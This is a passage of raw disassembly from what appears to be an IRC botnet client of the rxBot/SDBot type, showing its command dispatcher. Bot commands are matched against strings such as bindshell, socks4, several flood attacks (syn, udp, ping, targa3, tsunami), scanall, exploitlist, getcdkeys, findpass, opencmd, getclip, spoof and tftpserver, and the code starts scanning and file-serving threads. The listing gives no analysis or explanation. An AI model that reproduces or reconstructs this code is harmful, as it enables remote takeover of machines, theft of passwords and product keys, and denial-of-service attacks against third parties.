lea eax, [ebp+var_4AF0] push offset asc_42CA64 ; " " push eax call sub_41C0F4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40294A: ; CODE XREF: sub_401ACD+E92j push offset asc_42CA64 ; " " push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40294A mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401E94 add ecx, 3 mov [eax], ecx loc_40297C: ; CODE XREF: sub_401ACD+CB8j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aRn ; "rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aDie ; "die" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aD ; "d" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aLogout ; "logout" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aLo ; "lo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aVersion ; "version" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aVer ; "ver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aDedication ; "dedication" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aDed ; "ded" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aSpeedtest ; "speedtest" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSt ; "st" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aSec ; "sec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsecure ; "unsecure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsec ; "unsec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aBindshell ; "bindshell" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBd ; "bd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBindshellstop ; "bindshellstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B40 push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42C6A4 loc_402B24: ; CODE XREF: sub_401ACD+10C1j ; sub_401ACD+10E7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B384 add esp, 20h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402B40: ; CODE XREF: sub_401ACD+1042j push edi push offset aSocks4 ; "socks4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aS4 ; "s4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aSocks4stop ; "socks4stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B90 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C67C jmp short loc_402B24 ; --------------------------------------------------------------------------- loc_402B90: ; CODE XREF: sub_401ACD+10ACj push edi push offset aRloginstop ; "rloginstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BB9 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C660 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BB9: ; CODE XREF: sub_401ACD+10D2j push edi push offset aHttpstop ; "httpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BE2 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C644 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BE2: ; CODE XREF: sub_401ACD+10FBj push edi push offset aLogstop ; "logstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C0B push [ebp+esi+var_8C] push 25h push offset dword_42C630 push offset dword_42C624 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C0B: ; CODE XREF: sub_401ACD+1124j push edi push offset aRedirectstop ; "redirectstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C34 push [ebp+esi+var_8C] push 18h push offset dword_42C604 push offset dword_42C5F4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C34: ; CODE XREF: sub_401ACD+114Dj push edi push offset dword_42C5E8 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C5D push [ebp+esi+var_8C] push 0Dh push offset dword_42C5DC push offset dword_42C5D0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C5D: ; CODE XREF: sub_401ACD+1176j push edi push offset aSynstop ; "synstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C86 push [ebp+esi+var_8C] push 0Eh push offset dword_42C5BC push offset dword_42C5B0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_401ACD+119Fj push edi push offset aSkysynstop ; "skysynstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CAF push [ebp+esi+var_8C] push 10h push offset dword_42C594 push offset dword_42C584 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CAF: ; CODE XREF: sub_401ACD+11C8j push edi push offset aTarga3stop ; "targa3stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CD8 push [ebp+esi+var_8C] push 11h push offset dword_42C568 push offset dword_42C558 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_401ACD+11F1j push edi push offset aWonkstop ; "wonkstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402D01 push [ebp+esi+var_8C] push 12h push offset dword_42C540 push offset dword_42C534 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402D01: ; CODE XREF: sub_401ACD+121Aj push edi push offset aPacketstop ; "packetstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402E57 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C5DC push offset dword_42C5D0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 0Eh push offset dword_42C5BC push offset dword_42C5B0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 17h push offset dword_42C51C push offset dword_42C510 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 16h push offset dword_42C504 push offset dword_42C4F8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 11h push offset dword_42C568 push offset dword_42C558 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 12h push offset dword_42C540 push offset dword_42C534 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 0Fh push offset dword_42C4E8 push offset dword_42C4D8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 13h push offset dword_42C4C8 push offset dword_42C4B8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 10h push offset dword_42C594 push offset dword_42C584 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push ebx push [ebp+var_4] push offset unk_42C484 push [ebp+var_88] push edi call sub_409A72 add esp, 34h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402E57: ; CODE XREF: sub_401ACD+1243j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402E80 push [ebp+esi+var_8C] push 0Fh push offset dword_42C4E8 push offset dword_42C4D8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402E80: ; CODE XREF: sub_401ACD+1399j push edi push offset aWisdomstop ; "wisdomstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EA9 push [ebp+esi+var_8C] push 13h push offset dword_42C4C8 push offset dword_42C4B8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EA9: ; CODE XREF: sub_401ACD+13C2j push edi push offset aUdpstop ; "udpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402ED2 push [ebp+esi+var_8C] push 17h push offset dword_42C51C push offset dword_42C510 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402ED2: ; CODE XREF: sub_401ACD+13EBj push edi push offset aPingstop ; "pingstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EFB push [ebp+esi+var_8C] push 16h push offset dword_42C504 push offset dword_42C4F8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EFB: ; CODE XREF: sub_401ACD+1414j push edi push offset aTftpstop ; "tftpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402F24 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C43C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402F24: ; CODE XREF: sub_401ACD+143Dj push edi push offset aFindfilestop ; "findfilestop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aFfstop ; "ffstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aProcsstop ; "procsstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aPsstop ; "psstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aClonestop ; "clonestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FA1 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C3EC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FA1: ; CODE XREF: sub_401ACD+14BAj push edi push offset aSecurestop ; "securestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FCA push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C3C8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FCA: ; CODE XREF: sub_401ACD+14E3j push edi push offset aScanstop ; "scanstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FF3 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C3A8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FF3: ; CODE XREF: sub_401ACD+150Cj push edi push offset aScanstats ; "scanstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aStats ; "stats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aTransferstats ; "transferstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aTrstats ; "trstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aCbstats ; "cbstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aExploitlist ; "exploitlist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aExplist ; "explist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aReconnect ; "reconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aDisconnect ; "disconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aDc ; "dc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aQuit_0 ; "quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aQ ; "q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aStatus ; "status" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aS_0 ; "s" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aId ; "id" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aI ; "i" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aReboot ; "reboot" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4031BF call sub_418337 test eax, eax mov eax, offset unk_42C2E4 jnz short loc_403191 mov eax, offset unk_42C2BC loc_403191: ; CODE XREF: sub_401ACD+16BDj push eax lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 1Ch jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4031BF: ; CODE XREF: sub_401ACD+16AFj push edi push offset aThreads ; "threads" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aT ; "t" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aAliases ; "aliases" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aAl ; "al" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aLog ; "log" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aLg ; "lg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aClearlog ; "clearlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aClg ; "clg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aNetinfo ; "netinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aNi ; "ni" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aSysinfo ; "sysinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aSi ; "si" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aProcs ; "procs" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aPs ; "ps" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aKey ; "key" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aUptime ; "uptime" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aUp ; "up" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aDriveinfo ; "driveinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aDrv ; "drv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aTestdlls ; "testdlls" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aDll ; "dll" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aOpencmd ; "opencmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aOcmd ; "ocmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aCmdstop ; "cmdstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40340A push [ebp+esi+var_8C] push 0Ah push offset dword_42C1FC push offset dword_42C1F0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_40340A: ; CODE XREF: sub_401ACD+1923j push edi push offset dword_42C1EC call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_403527 cmp [ebp+var_8], ebx jnz short loc_40343E push ebx push [ebp+var_4] push offset dword_42C1D8 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40343E: ; CODE XREF: sub_401ACD+1955j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_40344C ; --------------------------------------------------------------------------- loc_403449: ; CODE XREF: sub_401ACD+19CBj mov eax, [ebp+arg_18] loc_40344C: ; CODE XREF: sub_401ACD+197Aj cmp [eax], bl jz short loc_403453 inc eax jmp short loc_403458 ; --------------------------------------------------------------------------- loc_403453: ; CODE XREF: sub_401ACD+1981j mov eax, offset aEmpty ; "<Empty>" loc_403458: ; CODE XREF: sub_401ACD+1984j push eax lea eax, [ebp+var_2C4] push [ebp+arg_20] push offset aD_S ; "%d. %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_403449 push offset unk_42C1A4 call sub_4151AC pop ecx loc_4034A5: ; CODE XREF: sub_401ACD+1C5Aj ; sub_401ACD+2F43j mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401E94 push edi push offset aSpoof ; "spoof" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404AF4 mov esi, [ebp+arg_10] push offset aOff ; "off" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404A22 lea eax, [ebp+var_2C4] push offset unk_42C170 push eax mov dword_4CE758, ebx call sub_41B886 pop ecx pop ecx loc_4034FD: ; CODE XREF: sub_401ACD+3022j cmp [ebp+var_8], ebx jnz loc_409854 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_40351F: ; CODE XREF: sub_401ACD+7118j add esp, 14h jmp loc_409854 ; --------------------------------------------------------------------------- loc_403527: ; CODE XREF: sub_401ACD+194Cj push edi push offset aGetclip ; "getclip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aGc ; "gc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aFlusharp ; "flusharp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFarp ; "farp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFlushdns ; "flushdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aFdns ; "fdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aCurrentip ; "currentip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aCip ; "cip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aRloginserver ; "rloginserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aRlogin ; "rlogin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aHttpserver ; "httpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aHttp ; "http" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aTftpserver ; "tftpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aTftp ; "tftp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aCrash ; "crash" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4036B3 lea eax, [ebp+var_2C4] push offset dword_42C0C8 push eax call sub_41B886 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403692 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403692: ; CODE XREF: sub_401ACD+1BA7j lea eax, [ebp+var_2C4] push eax call sub_4151AC mov [esp+10h+var_10], offset aCrash ; "crash" push [ebp+esi+var_7C] call sub_41C070 jmp loc_40207C ; --------------------------------------------------------------------------- loc_4036B3: ; CODE XREF: sub_401ACD+1B8Fj push edi push offset aScanall ; "scanall" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aSa ; "sa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aPhonehome ; "phonehome" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_403707 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_409A2C jmp loc_401F52 ; --------------------------------------------------------------------------- loc_403707: ; CODE XREF: sub_401ACD+1C1Fj push edi push offset aFindpass ; "findpass" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40372D push edi push offset aFp ; "fp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4034A5 loc_40372D: ; CODE XREF: sub_401ACD+1C49j push [ebp+var_88] lea eax, [ebp+var_F54] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset unk_42C054 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B0F6 add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_416F1A push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4037D5 loc_4037BF: ; CODE XREF: sub_401ACD+1D06j cmp [ebp+var_EC8], ebx jnz loc_4083BC push 32h nop call near ptr 2660D05h jmp short loc_4037BF ; --------------------------------------------------------------------------- loc_4037D5: ; CODE XREF: sub_401ACD+1CF0j nop call near ptr 267064Ch push eax push offset unk_42C018 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4037E6: ; CODE XREF: sub_401ACD+1BF5j ; sub_401ACD+1C0Aj mov al, byte_431622 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_431622 jz loc_401E94 mov ecx, edx loc_4037FD: ; CODE XREF: sub_401ACD+1D38j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037FD cmp al, bl jz loc_401E94 mov [ebp+arg_18], edx mov esi, offset aF ; "#f" loc_403817: ; CODE XREF: sub_401ACD+2008j push 0Bh call sub_40B33E pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_403866 push ecx lea eax, [ebp+var_2C4] push offset unk_42BFD8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_403ACC ; --------------------------------------------------------------------------- loc_403866: ; CODE XREF: sub_401ACD+1D64j or [ebp+var_730], 0FFFFFFFFh cmp dword_431440, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+arg_0], ebx jz short loc_4038D7 mov edi, offset dword_431440 loc_40389B: ; CODE XREF: sub_401ACD+1DECj mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4038BD inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_40389B jmp short loc_4038D7 ; --------------------------------------------------------------------------- loc_4038BD: ; CODE XREF: sub_401ACD+1DE2j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431440[ecx] mov [ebp+var_74C], ecx loc_4038D7: ; CODE XREF: sub_401ACD+1DC7j ; sub_401ACD+1DEEj cmp [ebp+var_74C], ebx jz loc_403AE0 push 10h lea eax, [ebp+var_2D4] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], edi push [ebp+arg_4] call dword_4CAF48 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CB030 push eax lea eax, [ebp+var_860] push eax call sub_41B5F0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax call sub_41BE40 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40397F loc_40395D: ; CODE XREF: sub_401ACD+1EB0j cmp eax, ebx jz short loc_40397F mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40395D loc_40397F: ; CODE XREF: sub_401ACD+1E8Ej ; sub_401ACD+1E92j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi push eax mov [ebp+var_720], 1 call sub_41B980 push offset dword_43D158 push esi call sub_41C070 add esp, 14h test eax, eax jz short loc_4039E1 push esi lea eax, [ebp+var_7D0] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4039E7 ; --------------------------------------------------------------------------- loc_4039E1: ; CODE XREF: sub_401ACD+1EFFj mov [ebp+var_7D0], bl loc_4039E7: ; CODE XREF: sub_401ACD+1F12j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039F9 mov eax, offset aSequential ; "Sequential" loc_4039F9: ; CODE XREF: sub_401ACD+1F25j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF58 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C33C push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_403A83 loc_403A71: ; CODE XREF: sub_401ACD+1FB4j cmp [ebp+var_71C], ebx jnz short loc_403A9E push 32h nop call near ptr 2660D05h jmp short loc_403A71 ; --------------------------------------------------------------------------- loc_403A83: ; CODE XREF: sub_401ACD+1FA2j call near ptr 267064Ch nop push eax lea eax, [ebp+var_2C4] push offset unk_42BF1C push eax call sub_41B886 add esp, 0Ch loc_403A9E: ; CODE XREF: sub_401ACD+1FAAj cmp [ebp+var_8], ebx jnz short loc_403ABF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403ABF: ; CODE XREF: sub_401ACD+1FD4j lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx loc_403ACC: ; CODE XREF: sub_401ACD+1D94j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_403817 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_403AE0: ; CODE XREF: sub_401ACD+1E10j push offset unk_42BEE4 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403AEA: ; CODE XREF: sub_401ACD+1B65j ; sub_401ACD+1B7Aj push 5 call sub_40B33E test eax, eax pop ecx jle short loc_403B00 push offset unk_42BEC4 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403B00: ; CODE XREF: sub_401ACD+2027j mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403B23 push eax mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_403B37 ; --------------------------------------------------------------------------- loc_403B23: ; CODE XREF: sub_401ACD+203Cj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx nop call near ptr 2660000h loc_403B37: ; CODE XREF: sub_401ACD+2054j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403B47 mov esi, offset byte_429108 loc_403B47: ; CODE XREF: sub_401ACD+2073j push esi lea eax, [ebp+var_2C4C] push edi push eax call sub_41B980 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B40] push offset unk_42BE90 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset word_411796 push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_403C13 loc_403BFD: ; CODE XREF: sub_401ACD+2144j cmp [ebp+var_2AB4], ebx jnz loc_40828B push 32h nop call near ptr 2660D05h jmp short loc_403BFD ; --------------------------------------------------------------------------- loc_403C13: ; CODE XREF: sub_401ACD+212Ej nop call near ptr 267064Ch push eax push offset unk_42BE54 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_403C24: ; CODE XREF: sub_401ACD+1B3Bj ; sub_401ACD+1B50j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403C43 